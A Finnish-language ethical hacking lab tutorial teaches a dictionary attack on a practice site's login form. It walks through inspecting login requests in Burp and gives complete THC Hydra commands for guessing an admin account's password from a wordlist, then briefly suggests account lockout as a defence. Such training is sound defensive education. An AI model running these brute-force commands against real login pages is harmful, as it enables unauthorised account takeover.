Salasanahyökkäykset

Sanakirjahyökkäykset (Dictionary Attack)

Helppo
30 min

Sanakirjahyökkäys (dictionary attack) on hyvin yksinkertainen. Otetaan käyttäjätunnus, lista yleisiä tai todennäköisiä salasanoja, ja sitten kokeillaan kirjautua jokaisella salasanalla mitä listasta löytyy.

Harjoitus

On lukuisia tapoja tehdä tällainen hyökkäys. Tässä harjoituksessa käytämme harjoituskoneen polusta /usr/share/wordlists/common-passwords.txt löytyvää salasanalistaa ja THC Hydra -nimistä komentorivityökalua arvailun automatisoimiseen. Käynnistä harjoitus ja jatka lukemista!

Dictionary-hyökkäys

Tässä labrassa pääset tekemään dictionary-hyökkäyksen (nk. sanakirjahyökkäys) sovellukseen ja yrität päästä admin-käyttäjän tilille.

Tavoite

Kirjaudu admin-käyttäjänä sisään.

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.

Pohjatyö

Selvitetään, minkälainen HTTP-pyyntö kirjautumisyrityksestä lähtee, sekä miten erottaa onnistunut tai epäonnistunut kirjautuminen HTTP-vastauksesta.

Aloita kirjautumalla sovellukseen ja etsi sitten burpin HTTP-historiasta kirjautumispyyntö:

Lähetä sitten pyyntö repeateriin:

Lähetä sitten pyyntö ensin oikealla salasanalla ja tarkastele HTTP-vastausta. Voidaan päätellä, että oikea vastaus esimerkiksi:

  • Palauttaa HTTP-statuskoodin 302
  • Body sisältää tekstin "Redirecting..."
  • On noin 200 merkin pituinen.
HTTP-Pyyntö
POST /login HTTP/2
Host: www-0xrue3l19e.ha-target.com
Content-Length: 46

email=student%40ha-target.com&password=student
Vastaus
HTTP/2 302 Found
Content-Type: text/html; charset=utf-8
Content-Length: 209
Location: http://www-0xrue3l19e.ha-target.com/
Set-Cookie: session=.eJw...; HttpOnly; Path=/
...

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>.  If not click the link.

Lähetä sitten sama pyyntö väärällä salasanalla. Voidaan päätellä, että väärä vastaus esimerkiksi:

  • Palauttaa HTTP-statuskoodin 200
  • Body sisältää "Invalid username or password"
  • On noin 5000 merkin pituinen.
HTTP-Pyyntö
POST /login HTTP/2
Host: www-0xrue3l19e.ha-target.com
Content-Length: 54

email=student%40ha-target.com&password=EiOikeaSalasana
Vastaus
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 4933
Location: http://www-0xrue3l19e.ha-target.com/
Set-Cookie: session=.eJw...; HttpOnly; Path=/
...

...
 <strong class="font-bold">Oops!</strong>
  <span class="block sm:inline pr-5">Invalid username or password.</span>
  ...

Tarkastele vielä lopuksi itse HTTP-pyyntöä. Kyseessä on POST-pyyntö polkuun /login, jonka sisällä on tyyppiä application/x-www-form-urlencoded ja jonka bodyssa menee kaksi parametria, email (käyttäjän sähköpostiosoite) ja password (käyttäjän salasana).

Näillä tiedoilla pääsemme eteenpäin!

Hydran konfigurointi

Hydran syntaksi on tässä tapauksessa seuraavanlainen:

hydra -t <teho (threads)> -l <käyttäjätunnus> -p <salasana> <domain> <moduuli> "<polku>:<body>:F=<teksti joka merkitsee epäonnistumista kirjautumista>".

-l voidaan korvata isolla ällällä -L, joka tarkoittaa käyttäjätunnuksen sijasta tiedostoa, jossa on monta käyttäjätunnusta. -p voidaan myös korvata isolla peellä -P, joka vastaavasti tarkoittaa salasanalistaa. Kokeillaan kuitenkin ensin vain yhdellä käyttäjätunnuksella ja salasanalla, nimittäin omallasi, että hydra toimii oikein.

-t 4 on sopiva teho niin labra ei kaadu. Oletus on 16, joka voi olla sovellukselle vähän raskas.

Body taas annetaan niin, että paikat joihin käyttäjätunnus ja salasana laitetaan, merkitään teksteillä ^USER^ ja ^PASS^.

  • käyttäjätunnus: student@ha-target.com
  • salasana: student
  • domain: sinun labran domain, esim. www-0xrue3l19e.ha-target.com
  • moduuli: https-post-form (hydran moduuli joka käsittelee urlencoded HTTPS POST -lomakkeita)
  • polku: /login
  • body: email=^USER^&password=^PASS^
  • epäonnistunut kirjautuminen: Invalid (HTTP-vastaus joka merkitsee epäonnistunutta kirjautumisyritystä sisältää tekstin "Invalid")

Voisit siis kokeilla hydraa suunnilleen tällä tavalla:

hydra -t 4 -l "student@ha-target.com" -p student  www-0xrue3l19e.ha-target.com https-post-form "/login:email=^USER^&password=^PASS^:F=Invalid"

Jos kokeilu tuntuu toimivan, kokeile seuraavaksi väärää salasanaa. Tällä kertaa hydran ei pitäisi onnistua.

hydra -t 4 -l "student@ha-target.com" -p EiOikeaSalasana  www-0xrue3l19e.ha-target.com https-post-form "/login:email=^USER^&password=^PASS^:F=Invalid"

Hyökkäyksen käynnistäminen

Jotta voimme käynnistää varsinaisen hyökkäyksen, teemme kaksi muutosta hydra-komentoon.

  • Vaihdamme käyttäjätunnuksen hyökkäyksen kohteen sähköpostiosoitteeseen, joka on tässä tapauksessa jessica.blanchard@ha-target.com (sinun labrassa admin on eri, löydät adminin sähköpostin labran etusivulta).
  • Salasanan (-p) sijaan käytämmekin salasanalistaa (-P) joka sijaitsee polussa /usr/share/wordlists/common-passwords.txt
hydra -t 4 -l "jessica.blanchard@ha-target.com" -P /usr/share/wordlists/common-passwords.txt www-0xrue3l19e.ha-target.com https-post-form "/login:email=^USER^&password=^PASS^:F=Invalid"

Sitten vain odottelet hetken kun hydra käy salasanalistan läpi, ja jos hyvin käy, saat admin-käyttäjän salasanan!

Sovelluksen suojaaminen sanakirjahyökkäykseltä

Salasanoja käyttävän sovelluksen voi parhaiten suojata sanakirjahyökkäyksiä vastaan estämällä käyttäjätunnukselle kirjautumisen väliaikaisesti muutaman, esim. viiden epäonnistuneen yrityksen jälkeen.

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.